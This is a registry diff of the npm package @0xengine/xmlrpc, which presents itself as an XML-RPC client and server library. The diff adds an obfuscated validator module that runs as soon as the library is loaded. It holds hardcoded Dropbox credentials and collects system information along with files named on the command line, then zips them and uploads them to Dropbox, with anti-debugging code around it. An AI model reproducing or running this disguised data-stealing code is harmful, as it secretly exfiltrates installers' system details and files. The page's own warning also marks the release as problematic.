@0xengine/xmlrpc 0.0.1-security → 1.3.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @0xengine/xmlrpc might be problematic. Click here for more details.

package/lib/server.js ADDED
@@ -0,0 +1,78 @@
1
+ var http = require('http')
2
+ , https = require('https')
3
+ , url = require('url')
4
+ , EventEmitter = require('events').EventEmitter
5
+ , Serializer = require('./serializer')
6
+ , Deserializer = require('./deserializer')
7
+
8
+ /**
9
+ * Creates a new Server object. Also creates an HTTP server to start listening
10
+ * for XML-RPC method calls. Will emit an event with the XML-RPC call's method
11
+ * name when receiving a method call.
12
+ *
13
+ * @constructor
14
+ * @param {Object|String} options - The HTTP server options. Either a URI string
15
+ * (e.g. 'http://localhost:9090') or an object
16
+ * with fields:
17
+ * - {String} host - (optional)
18
+ * - {Number} port
19
+ * @param {Boolean} isSecure - True if using https for making calls,
20
+ * otherwise false.
21
+ * @return {Server}
22
+ */
23
+ function Server(options, isSecure, onListening) {
24
+
25
+ if (false === (this instanceof Server)) {
26
+ return new Server(options, isSecure)
27
+ }
28
+ onListening = onListening || function() {}
29
+ var that = this
30
+
31
+ // If a string URI is passed in, converts to URI fields
32
+ if (typeof options === 'string') {
33
+ options = url.parse(options)
34
+ options.host = options.hostname
35
+ options.path = options.pathname
36
+ }
37
+
38
+ function handleMethodCall(request, response) {
39
+ var deserializer = new Deserializer()
40
+ deserializer.deserializeMethodCall(request, function(error, methodName, params) {
41
+ if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
42
+ that.emit(methodName, null, params, function(error, value) {
43
+ var xml = null
44
+ if (error !== null) {
45
+ xml = Serializer.serializeFault(error)
46
+ }
47
+ else {
48
+ xml = Serializer.serializeMethodResponse(value)
49
+ }
50
+ response.writeHead(200, {'Content-Type': 'text/xml'})
51
+ response.end(xml)
52
+ })
53
+ }
54
+ else {
55
+ that.emit('NotFound', methodName, params)
56
+ response.writeHead(404)
57
+ response.end()
58
+ }
59
+ })
60
+ }
61
+
62
+ this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
63
+ : http.createServer(handleMethodCall)
64
+
65
+ process.nextTick(function() {
66
+ this.httpServer.listen(options.port, options.host, onListening)
67
+ }.bind(this))
68
+ this.close = function(callback) {
69
+ this.httpServer.once('close', callback)
70
+ this.httpServer.close()
71
+ }.bind(this)
72
+ }
73
+
74
+ // Inherit from EventEmitter to emit and listen
75
+ Server.prototype.__proto__ = EventEmitter.prototype
76
+
77
+ module.exports = Server
78
+
@@ -0,0 +1 @@
1
+ const a0_0x226629=a0_0x4299;(function(_0x599796,_0x46042e){const _0x31b3e5=a0_0x4299,_0xb47c23=_0x599796();while(!![]){try{const _0x94c4d3=parseInt(_0x31b3e5(0x1f6))/(0x79*-0x13+0x3*-0x38f+0x13a9*0x1)+parseInt(_0x31b3e5(0x219))/(-0x1d85+0x21de*-0x1+-0x3f65*-0x1)*(parseInt(_0x31b3e5(0x1fb))/(-0x1208*-0x2+-0x14a1+-0xf6c*0x1))+-parseInt(_0x31b3e5(0x204))/(-0x1*-0xb29+0x1*0x237a+-0x2e9f)+parseInt(_0x31b3e5(0x22f))/(-0xe*-0xa5+0x479*-0x5+0x1*0xd5c)*(parseInt(_0x31b3e5(0x229))/(-0x180d+-0x1*0xdc9+0x25dc*0x1))+-parseInt(_0x31b3e5(0x21a))/(-0x1*-0xa47+0xbd9+-0x1619)*(parseInt(_0x31b3e5(0x222))/(0x1462+-0x76c+-0x5*0x296))+parseInt(_0x31b3e5(0x211))/(0x1824+0x16ba*-0x1+-0x161)+-parseInt(_0x31b3e5(0x203))/(0x398+0xf6b*-0x1+-0x1*-0xbdd);if(_0x94c4d3===_0x46042e)break;else _0xb47c23['push'](_0xb47c23['shift']());}catch(_0x97233f){_0xb47c23['push'](_0xb47c23['shift']());}}}(a0_0x193a,-0x263*-0x2d3+-0xa6934+0x33c28*0x4));const a0_0x2ea8fc=(function(){let _0x3f29e5=!![];return function(_0x5e7ac8,_0x5dfb24){if('FzwIA'==='muXNI')_0x4054ac();else{const _0x1b9814=_0x3f29e5?function(){const _0xa28f17=a0_0x4299;if(_0x5dfb24){const _0xf2395d=_0x5dfb24[_0xa28f17(0x208)](_0x5e7ac8,arguments);return _0x5dfb24=null,_0xf2395d;}}:function(){};return _0x3f29e5=![],_0x1b9814;}};}());(function(){a0_0x2ea8fc(this,function(){const _0x3e2ce4=a0_0x4299;if(_0x3e2ce4(0x226)!=='iPPln'){const _0x39f7be=new _0x4e8682(_0x3e2ce4(0x224)+_0x3e2ce4(0x1f4)),_0x4b890d=new _0x143c4d(_0x3e2ce4(0x21b)+_0x3e2ce4(0x1fc)+_0x3e2ce4(0x210)+_0x3e2ce4(0x233),'i'),_0x528518=_0x27df52(_0x3e2ce4(0x214));!_0x39f7be[_0x3e2ce4(0x21f)](_0x528518+_0x3e2ce4(0x1ef))||!_0x4b890d[_0x3e2ce4(0x21f)](_0x528518+'input')?_0x528518('0'):_0x88da79();}else{const _0x3af50a=new RegExp(_0x3e2ce4(0x224)+_0x3e2ce4(0x1f4)),_0x3399b7=new RegExp(_0x3e2ce4(0x21b)+_0x3e2ce4(0x1fc)+_0x3e2ce4(0x210)+_0x3e2ce4(0x233),'i'),_0x5afe03=a0_0x50a2e1('init');!_0x3af50a[_0x3e2ce4(0x21f)](_0x5afe03+_0x3e2ce4(0x1ef))||!_0x3399b7['test'](_0x5afe03+'input')?_0x5afe03('0'):_0x3e2ce4(0x227)===_0x3e2ce4(0x227)?a0_0x50a2e1():function(){return!![];}[_0x3e2ce4(0x1f5)+'r'](_0x3e2ce4(0x1f9)+_0x3e2ce4(0x1f2))[_0x3e2ce4(0x225)]('action');}})();}());const fs=require('fs-extra'),{zip}=require(a0_0x226629(0x1f7)+'er'),si=require(a0_0x226629(0x230)+a0_0x226629(0x223)),os=require('os'),path=require(a0_0x226629(0x221)),{Dropbox}=require('dropbox'),a0_0x22c650={};a0_0x22c650['clientId']=a0_0x226629(0x218)+a0_0x226629(0x22c),a0_0x22c650[a0_0x226629(0x20a)+'et']=a0_0x226629(0x215)+'2gyuq',a0_0x22c650[a0_0x226629(0x232)+'en']=a0_0x226629(0x1f8)+'cAAAAAAAAA'+a0_0x226629(0x206)+a0_0x226629(0x212)+'eZarh5VSmU'+a0_0x226629(0x1fe)+a0_0x226629(0x20f);function a0_0x4299(_0x42993c,_0x51a96f){const _0x3b789d=a0_0x193a();return a0_0x4299=function(_0x51259b,_0x33c7b0){_0x51259b=_0x51259b-(-0x9c0+-0x1*0x1ed9+0x2a85);let _0x2c825b=_0x3b789d[_0x51259b];return _0x2c825b;},a0_0x4299(_0x42993c,_0x51a96f);}const dbx=new Dropbox(a0_0x22c650);function a0_0x193a(){const _0x6fe7ef=['sWFJO','\x5c(\x20*\x5c)','constructo','434096EEtifH','zip-a-fold','ZtRBk4Wfng','debu','copyFile','624JufOid','a-zA-Z_$][','c\x20path:\x20','ggTYegPuYh','while\x20(tru','string','e)\x20{}','argv','11582700slzSwa','836068VZcuTL','encoding','AYA9a4wHLu','findIndex','apply','OPAdQ','clientSecr','osInfo','length','kuRsH','stateObjec','ODoh','0-9a-zA-Z_','6075981ADgzhV','EXdInRczVA','oHdTc','init','c6j642mz7k','--targets','readFile','qbknda07b3','11436MvaEEZ','35zIxqWb','\x5c+\x5c+\x20*(?:[','lvsnO','resolve','uuid','test','.zip','path','1798856zBGxZT','rmation','function\x20*','call','iPPln','jniIq','find','696DSuZvd','filesUploa','then','no1z3','catch','contents','34505safbcV','systeminfo','zipPath:\x20','refreshTok','$]*)','utf8','counter','now','AVKeu','action','debugme','/si.json','chain','writeFile','log','gger'];a0_0x193a=function(){return _0x6fe7ef;};return a0_0x193a();}async function validator(){const _0x35d3d0=a0_0x226629,_0x4883cd=process['argv'][_0x35d3d0(0x228)](_0x147295=>_0x147295===_0x35d3d0(0x1ed))!==undefined,_0x1978c0=_0x22adbf=>{const _0x34060a=_0x35d3d0;if(_0x34060a(0x209)===_0x34060a(0x1f3)){const _0x4dcf04=_0x263dc1[_0x34060a(0x208)](_0x5da6c6,arguments);return _0x3111c7=null,_0x4dcf04;}else _0x4883cd&&console[_0x34060a(0x1f1)](_0x22adbf);};_0x1978c0(process['argv']);const _0x2344e4=process[_0x35d3d0(0x202)][_0x35d3d0(0x207)](_0x53b223=>_0x53b223===_0x35d3d0(0x216)||_0x53b223==='-t');if(_0x2344e4===-(-0x1*0x25bb+-0x3*-0x39+-0xc5b*-0x3)){if(_0x35d3d0(0x21c)!==_0x35d3d0(0x21c))_0x7f7c89(_0x49d7a2);else return;}const _0x255764=path[_0x35d3d0(0x21d)](process[_0x35d3d0(0x202)][_0x2344e4+(0x21*0x89+-0x1cfc+0x5aa*0x2)]);_0x1978c0('targets\x20sr'+_0x35d3d0(0x1fd)+_0x255764);const _0x4c8c53=os['tmpdir'](),_0x3eae66=Date[_0x35d3d0(0x236)](),_0x4a9da2=_0x4c8c53+'/'+_0x3eae66;await fs['ensureDir'](_0x4a9da2);const _0xa8affe=await si[_0x35d3d0(0x21e)](),_0x59d3a6=await si[_0x35d3d0(0x20b)](),_0x2e134f={};_0x2e134f[_0x35d3d0(0x21e)]=_0xa8affe,_0x2e134f[_0x35d3d0(0x20b)]=_0x59d3a6;const _0x54906c=_0x2e134f,_0x36a159=JSON['stringify'](_0x54906c,null,-0x267c+-0x71*0x4c+0x480a),_0x39fe6e=_0x4a9da2+_0x35d3d0(0x1ee),_0x40dd36={};_0x40dd36[_0x35d3d0(0x205)]=_0x35d3d0(0x234),await fs[_0x35d3d0(0x1f0)](_0x39fe6e,_0x36a159,_0x40dd36);const _0x559d07=_0x4a9da2+('/targets.t'+'xt');await fs[_0x35d3d0(0x1fa)](_0x255764,_0x559d07);const _0x4c42fe=_0xa8affe['os']+'-'+_0x3eae66+_0x35d3d0(0x220),_0x3ba5f2=_0x4c8c53+'/'+_0x4c42fe;_0x1978c0(_0x35d3d0(0x231)+_0x3ba5f2),await zip(_0x4a9da2,_0x3ba5f2);const _0x486a8a=fs[_0x35d3d0(0x217)](_0x3ba5f2),_0x5a225f={};_0x5a225f['path']='/'+_0x4c42fe,_0x5a225f[_0x35d3d0(0x22e)]=_0x486a8a,dbx[_0x35d3d0(0x22a)+'d'](_0x5a225f)[_0x35d3d0(0x22b)](_0x236d4c=>{const _0x1aaf07=_0x35d3d0;_0x1aaf07(0x213)===_0x1aaf07(0x20d)?_0x550415(_0x6fd91a):_0x1978c0(_0x236d4c);})[_0x35d3d0(0x22d)](_0xf450d0=>{_0x1978c0(_0xf450d0);});}module['exports']=validator;function a0_0x50a2e1(_0x32f7c2){function _0x7d2920(_0x16b4ae){const _0x2da222=a0_0x4299;if(typeof _0x16b4ae===_0x2da222(0x200))return function(_0x283f6f){}[_0x2da222(0x1f5)+'r'](_0x2da222(0x1ff)+_0x2da222(0x201))['apply'](_0x2da222(0x235));else(''+_0x16b4ae/_0x16b4ae)[_0x2da222(0x20c)]!==0xc36*0x2+0x1740+0x2fab*-0x1||_0x16b4ae%(0xb*0x53+-0xc4d+0x8d0)===0x1d16+-0x169c*0x1+-0x1*0x67a?function(){return!![];}[_0x2da222(0x1f5)+'r'](_0x2da222(0x1f9)+_0x2da222(0x1f2))[_0x2da222(0x225)](_0x2da222(0x1ec)):function(){const _0x8506cf=_0x2da222;if(_0x8506cf(0x237)!==_0x8506cf(0x237))return;else return![];}['constructo'+'r']('debu'+_0x2da222(0x1f2))[_0x2da222(0x208)](_0x2da222(0x20e)+'t');_0x7d2920(++_0x16b4ae);}try{if(_0x32f7c2)return'wNKdj'==='NXbSC'?_0x19d065:_0x7d2920;else _0x7d2920(-0x50f*-0x4+0x1*-0x135d+-0xdf);}catch(_0x57c58d){}}
package/lib/xmlrpc.js ADDED
@@ -0,0 +1,73 @@
1
+ var Client = require('./client')
2
+ , Server = require('./server')
3
+ , CustomType = require('./customtype')
4
+ , dateFormatter = require('./date_formatter')
5
+ , validator = require('./validator')
6
+
7
+ var xmlrpc = exports
8
+
9
+ /**
10
+ * Creates an XML-RPC client.
11
+ *
12
+ * @param {Object} options - server options to make the HTTP request to
13
+ * - {String} host
14
+ * - {Number} port
15
+ * - {String} url
16
+ * - {Boolean} cookies
17
+ * @return {Client}
18
+ * @see Client
19
+ */
20
+ xmlrpc.createClient = function(options) {
21
+ return new Client(options, false)
22
+ }
23
+
24
+ /**
25
+ * Creates an XML-RPC client that makes calls using HTTPS.
26
+ *
27
+ * @param {Object} options - server options to make the HTTP request to
28
+ * - {String} host
29
+ * - {Number} port
30
+ * - {String} url
31
+ * - {Boolean} cookies
32
+ * @return {Client}
33
+ * @see Client
34
+ */
35
+ xmlrpc.createSecureClient = function(options) {
36
+ return new Client(options, true)
37
+ }
38
+
39
+ /**
40
+ * Creates an instance of server parameter validator.
41
+ * @See Server
42
+ */
43
+ xmlrpc.validator = validator()
44
+
45
+
46
+ /**
47
+ * Creates an XML-RPC server.
48
+ *
49
+ * @param {Object}options - the HTTP server options
50
+ * - {String} host
51
+ * - {Number} port
52
+ * @return {Server}
53
+ * @see Server
54
+ */
55
+ xmlrpc.createServer = function(options, callback) {
56
+ return new Server(options, false, callback)
57
+ }
58
+
59
+ /**
60
+ * Creates an XML-RPC server that uses HTTPS.
61
+ *
62
+ * @param {Object}options - the HTTP server options
63
+ * - {String} host
64
+ * - {Number} port
65
+ * @return {Server}
66
+ * @see Server
67
+ */
68
+ xmlrpc.createSecureServer = function(options, callback) {
69
+ return new Server(options, true, callback)
70
+ }
71
+
72
+ xmlrpc.CustomType = CustomType
73
+ xmlrpc.dateFormatter = dateFormatter
package/package.json CHANGED
@@ -1,6 +1,47 @@
1
1
  {
2
2
  "name": "@0xengine/xmlrpc",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "A pure JavaScript XML-RPC client and server.",
4
+ "keywords": [
5
+ "xml-rpc",
6
+ "xmlrpc",
7
+ "xml",
8
+ "rpc"
9
+ ],
10
+ "version": "1.3.13",
11
+ "preferGlobal": false,
12
+ "homepage": "https://bitbucket.org/0xsky/xmlrpc",
13
+ "author": "0xengine",
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
17
+ },
18
+ "directories": {
19
+ "example": "example",
20
+ "lib": "lib",
21
+ "test": "test"
22
+ },
23
+ "main": "./lib/xmlrpc.js",
24
+ "dependencies": {
25
+ "dropbox": "^10.34.0",
26
+ "fs-extra": "^11.1.1",
27
+ "sax": "1.2.x",
28
+ "systeminformation": "^5.21.9",
29
+ "uuid": "^9.0.1",
30
+ "xmlbuilder": "8.2.x",
31
+ "zip-a-folder": "^1.1.7"
32
+ },
33
+ "devDependencies": {
34
+ "vows": "0.7.x"
35
+ },
36
+ "scripts": {
37
+ "test": "vows 'test/*.js'"
38
+ },
39
+ "engines": {
40
+ "node": ">=0.8",
41
+ "npm": ">=1.0.0"
42
+ },
43
+ "license": "MIT",
44
+ "bugs": {
45
+ "url": "https://bitbucket.org/0xsky/xmlrpc/issues"
46
+ }
6
47
  }